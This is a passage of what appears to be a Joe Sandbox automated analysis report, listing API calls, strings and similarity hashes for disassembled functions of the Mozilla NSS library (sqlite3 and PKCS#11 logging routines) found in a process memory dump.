PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7F6C96

Part of subcall function 6C7A1240: TlsGetValue.KERNEL32(00000040,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A1267
Part of subcall function 6C7A1240: EnterCriticalSection.KERNEL32(?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A127C
Part of subcall function 6C7A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A1291
Part of subcall function 6C7A1240: PR_Unlock.NSS3(?,?,?,?,6C7A116C,NSPR_LOG_MODULES), ref: 6C7A12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7F6CAA

Strings

extern:, xrefs: 6C7F6C7E
dbm, xrefs: 6C7F6CA4
rdb:, xrefs: 6C7F6C69
sql:, xrefs: 6C7F6C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C7F6C91
dbm:, xrefs: 6C7F6C3A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b997629d8f21c0c0ed131201b1a7a6de68c612d6816b3c7c7dc78e8c14f2df14
Instruction ID: 2da2de10be6bc16a4182bbd989df97cd8987ad6e0fbe2f8ddbf6a26f8d03c0c5
Opcode Fuzzy Hash: b997629d8f21c0c0ed131201b1a7a6de68c612d6816b3c7c7dc78e8c14f2df14
Instruction Fuzzy Hash: F40126E170630123F620277D1F9AF23355D9F82188F240935FE24E0B81EB92FA16C0B6

Function 6C898780 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,-00000001,-00000001,00000000,?,?,6C89849F,?,-00000001,-00000001,00000000,?,00000000,?,00000000), ref: 6C89884C
sqlite3_free.NSS3(?,?,?,?,?,?,-00000001,00000000,?,?,6C89849F,?,-00000001,-00000001,00000000,?), ref: 6C8988F1
memset.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,?,?,-00000001,00000000,?,?,6C89849F,?,-00000001), ref: 6C898929
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6C89849F,?), ref: 6C898B4C
sqlite3_free.NSS3(?,?,?,?,?,?,?,-00000001,00000000,?,?,6C89849F,?,-00000001,-00000001,00000000), ref: 6C898B7C
sqlite3_free.NSS3(0000000A,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6C89849F,?), ref: 6C898CCF

Strings

%s.xBestIndex malfunction, xrefs: 6C898AEC
abort due to ROLLBACK, xrefs: 6C898B04
no more rows available, xrefs: 6C898B0E
unknown error, xrefs: 6C8988DD, 6C898B1B
another row available, xrefs: 6C898AB1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_free$memset
String ID: %s.xBestIndex malfunction$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 2669552516-2256271834
Opcode ID: ee041ad289de9d6cf4fdee540f04e2cf50d12fa1041baa6c7a14223ccd6b2fb9
Instruction ID: c710560ab015de1a43769dd0a999c093fee336be0e58389551f9c4653c1a9173
Opcode Fuzzy Hash: ee041ad289de9d6cf4fdee540f04e2cf50d12fa1041baa6c7a14223ccd6b2fb9
Instruction Fuzzy Hash: 5902F371A0061A8FDB24CF5CC5807AEB7F2FF49318F18496AD816ABB51D735E842CB91

Function 6C804E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7C78F8), ref: 6C804E6D

Part of subcall function 6C7A09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7A06A2,00000000,?), ref: 6C7A09F8
Part of subcall function 6C7A09E0: malloc.MOZGLUE(0000001F), ref: 6C7A0A18
Part of subcall function 6C7A09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C7A0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7C78F8), ref: 6C804ED9

Part of subcall function 6C7F5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C7F7703,?,00000000,00000000), ref: 6C7F5942
Part of subcall function 6C7F5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7F7703), ref: 6C7F5954
Part of subcall function 6C7F5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7F596A
Part of subcall function 6C7F5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7F5984
Part of subcall function 6C7F5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C7F5999
Part of subcall function 6C7F5920: free.MOZGLUE(00000000), ref: 6C7F59BA
Part of subcall function 6C7F5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7F59D3
Part of subcall function 6C7F5920: free.MOZGLUE(00000000), ref: 6C7F59F5
Part of subcall function 6C7F5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C7F5A0A
Part of subcall function 6C7F5920: free.MOZGLUE(00000000), ref: 6C7F5A2E
Part of subcall function 6C7F5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C7F5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804EB3

Part of subcall function 6C804820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C804EB8,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C80484C
Part of subcall function 6C804820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C804EB8,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C80486D
Part of subcall function 6C804820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C804EB8,?), ref: 6C804884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804EC0

Part of subcall function 6C804470: TlsGetValue.KERNEL32(00000000,?,6C7C7296,00000000), ref: 6C804487
Part of subcall function 6C804470: EnterCriticalSection.KERNEL32(?,?,?,6C7C7296,00000000), ref: 6C8044A0
Part of subcall function 6C804470: PR_Unlock.NSS3(?,?,?,?,6C7C7296,00000000), ref: 6C8044BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C804F8F
PK11_UpdateSlotAttribute.NSS3(?,6C8DDCB0,00000000), ref: 6C804FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C80501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7C78F8), ref: 6C80506B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: eb82805fb762ef04b1b1de70dd2d3c85d9657e4f0546a9d3916fe18c506b2a39
Instruction ID: 33969459e1645e3893bad9d845fb035b473bcb620427f72d3caedb8bbc6e047b
Opcode Fuzzy Hash: eb82805fb762ef04b1b1de70dd2d3c85d9657e4f0546a9d3916fe18c506b2a39
Instruction Fuzzy Hash: FA5134B1B006059BEB21AF24EE466AE37B4FF5631CF140A35EC0642B51F731D525CAA2

Function 6C7AACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7AACE2
malloc.MOZGLUE(00000001), ref: 6C7AACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7AAD02
TlsGetValue.KERNEL32 ref: 6C7AAD3C
calloc.MOZGLUE(00000001,?), ref: 6C7AAD8C
PR_Unlock.NSS3 ref: 6C7AADC0
free.MOZGLUE(00000000), ref: 6C7AAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C7AAE58
free.MOZGLUE(00000000), ref: 6C7AAE69
free.MOZGLUE(?), ref: 6C7AAE78
PR_Unlock.NSS3 ref: 6C7AAE8C
free.MOZGLUE(?), ref: 6C7AAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7AAEC7

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: e7a9723d9c7e5ec2053dece2406fced7519b0d951035cfd59ab8fedb59d914df
Instruction ID: 072d32aa9bd3c5efb6d4d6c041cd8a0076105ad6e30396e214c8b2268ae6d4f5
Opcode Fuzzy Hash: e7a9723d9c7e5ec2053dece2406fced7519b0d951035cfd59ab8fedb59d914df
Instruction Fuzzy Hash: A6519171E092169BDF00DF98CA4766E77B8FB16359F240639D805A7B00D332A956CFE2

Function 6C884C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C884CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C884CFD
sqlite3_value_text16.NSS3(?), ref: 6C884D44

Strings

API call with %s database connection pointer, xrefs: 6C884CF6
abort due to ROLLBACK, xrefs: 6C884D27, 6C884D33
out of memory, xrefs: 6C884C78, 6C884C9E
invalid, xrefs: 6C884CF1
no more rows available, xrefs: 6C884D2E
unknown error, xrefs: 6C884D56
bad parameter or other API misuse, xrefs: 6C884D05
another row available, xrefs: 6C884D20

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: e20e4cd828626b64e8c3df4f113f2097b36138885d9180dae4589e29031374ec
Instruction ID: 076154f0d4876e1d9892cda16397f7491af836f08e7ba72b8e9db0f3a0314409
Opcode Fuzzy Hash: e20e4cd828626b64e8c3df4f113f2097b36138885d9180dae4589e29031374ec
Instruction Fuzzy Hash: E13177B3E0B811ABE73846249B257A4732F77C7319F560D2AD8244BE14D734AC1683D2

Function 6C7E2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C7E2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E2E33

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C7E2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C7E2E81

Strings

(CK_INVALID_HANDLE), xrefs: 6C7E2E2C
pPin = 0x%p, xrefs: 6C7E2E63
ulPinLen = %d, xrefs: 6C7E2E7C
C_InitPIN, xrefs: 6C7E2DF1
hSession = 0x%x, xrefs: 6C7E2E0E, 6C7E2E1E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 02ef3087ce276f3b7dadf1f8ba1a16c04a3d61f30c69818c5ed262e1ab67da6a
Instruction ID: 6db55135d49df87cf64f9204df99c5951ffdf0eca8c267228dec2338787dd6a5
Opcode Fuzzy Hash: 02ef3087ce276f3b7dadf1f8ba1a16c04a3d61f30c69818c5ed262e1ab67da6a
Instruction Fuzzy Hash: D7310976605255EFDB20EB14DF4FB5A37B9EB4A318F144434E809A7B11DB309908CB92

Function 6C7E6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C7E6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E6F53

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7E6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C7E6FA1

Strings

C_DigestUpdate, xrefs: 6C7E6F11
(CK_INVALID_HANDLE), xrefs: 6C7E6F4C
pPart = 0x%p, xrefs: 6C7E6F83
hSession = 0x%x, xrefs: 6C7E6F2E, 6C7E6F3E
ulPartLen = %d, xrefs: 6C7E6F9C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 40588c9775cf6b4c0806c2e37a2990babfd56b41c2ff9efb971a387de453d323
Instruction ID: 8919b203c5edc93d71829dffde1634ed64eab0fbab63155e3a36fddee1f16c0e
Opcode Fuzzy Hash: 40588c9775cf6b4c0806c2e37a2990babfd56b41c2ff9efb971a387de453d323
Instruction Fuzzy Hash: DF31F7766151489FDB10DB14DE4EB5A37B1EB46318F144439E508A7B12DB30EA48CB92

Function 6C752450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7524BA
LeaveCriticalSection.KERNEL32(?), ref: 6C75250D
EnterCriticalSection.KERNEL32(?), ref: 6C752554
LeaveCriticalSection.KERNEL32(?), ref: 6C7525A7
EnterCriticalSection.KERNEL32(?), ref: 6C752609
LeaveCriticalSection.KERNEL32(?), ref: 6C75265F
EnterCriticalSection.KERNEL32(?), ref: 6C7526A2
LeaveCriticalSection.KERNEL32(?), ref: 6C7526F5
EnterCriticalSection.KERNEL32(?), ref: 6C752764
LeaveCriticalSection.KERNEL32(?), ref: 6C752898
EnterCriticalSection.KERNEL32(?), ref: 6C7528D0
EnterCriticalSection.KERNEL32(?), ref: 6C752948
LeaveCriticalSection.KERNEL32(?), ref: 6C75299B
EnterCriticalSection.KERNEL32(?), ref: 6C7529E2
LeaveCriticalSection.KERNEL32(?), ref: 6C752A31

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: c26b7fb75cae9a2606eba5fb397af95c6d880f0e8a7b8c66ac250858fbcbc5b6
Instruction ID: 65dd194d9fbd5c6cf82b5a0ce12a78e6533346a2941623d282b62e29e510637d
Opcode Fuzzy Hash: c26b7fb75cae9a2606eba5fb397af95c6d880f0e8a7b8c66ac250858fbcbc5b6
Instruction Fuzzy Hash: 88F171B5B0D110DFDB08DF61DA8EA6A3731BF4B314BB8012DD94657A40CF35A991CB92

Function 6C882D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C882D9F

Part of subcall function 6C73CA30: EnterCriticalSection.KERNEL32(?,?,?,6C79F9C9,?,6C79F4DA,6C79F9C9,?,?,6C76369A), ref: 6C73CA7A
Part of subcall function 6C73CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C73CB26

sqlite3_exec.NSS3(?,?,6C882F70,?,?), ref: 6C882DF9
sqlite3_free.NSS3(00000000), ref: 6C882E2C
sqlite3_free.NSS3(?), ref: 6C882E3A
sqlite3_free.NSS3(?), ref: 6C882E52
sqlite3_mprintf.NSS3(6C8EAAF9,?), ref: 6C882E62
sqlite3_free.NSS3(?), ref: 6C882E70
sqlite3_free.NSS3(?), ref: 6C882E89
sqlite3_free.NSS3(?), ref: 6C882EBB
sqlite3_free.NSS3(?), ref: 6C882ECB
sqlite3_free.NSS3(00000000), ref: 6C882F3E
sqlite3_free.NSS3(?), ref: 6C882F4C

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 23e25d0fad34c55e86218830b2680e1b6f24374667a432872b83f0d24f9f8103
Instruction ID: cde5721b454d7192c2fe6f710498f0219e2c375928794998eb6425b4195190bf
Opcode Fuzzy Hash: 23e25d0fad34c55e86218830b2680e1b6f24374667a432872b83f0d24f9f8103
Instruction Fuzzy Hash: 2061B6B5E022158BEB20CF68D9887DEB7B5FF58349F144424DC15A7B41E739E844CBA1

Function 6C734C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734CB0
PR_Unlock.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734D97
PR_Lock.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734DBA
PR_WaitCondVar.NSS3 ref: 6C734DD4
PR_Unlock.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734DEF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: c8ce1fd1484c8c1c9b710fa1679e11016621800ccbb864867f588b4bd71f35fc
Instruction ID: 28cdc7e04578930cfb9ca2cf39dc87102aba6668f13bf35b73bdf185f629ef79
Opcode Fuzzy Hash: c8ce1fd1484c8c1c9b710fa1679e11016621800ccbb864867f588b4bd71f35fc
Instruction Fuzzy Hash: B9419DB1A18664DFCF11AF78C28A159BBF4BF06314F154A69D8889BB01E731D884CB92

Function 6C736645 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 477stringCOMMON

Download Yara Rule

APIs

sqlite3_step.NSS3(?), ref: 6C7366CA
EnterCriticalSection.KERNEL32(?), ref: 6C73673D
LeaveCriticalSection.KERNEL32(?), ref: 6C7367B8
EnterCriticalSection.KERNEL32(?), ref: 6C736A7A
LeaveCriticalSection.KERNEL32(?), ref: 6C736ADE
sqlite3_errmsg.NSS3 ref: 6C736B80
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C736B93
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C736BB6

Strings

d, xrefs: 6C736AFF
(, xrefs: 6C7367D7

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memcpysqlite3_errmsgsqlite3_stepstrlen
String ID: ($d
API String ID: 2708504553-1915259565
Opcode ID: 0d0a5116118f361e221109f8f6d7da570ad6c2b2a05a23fda15f063a7f04caa9
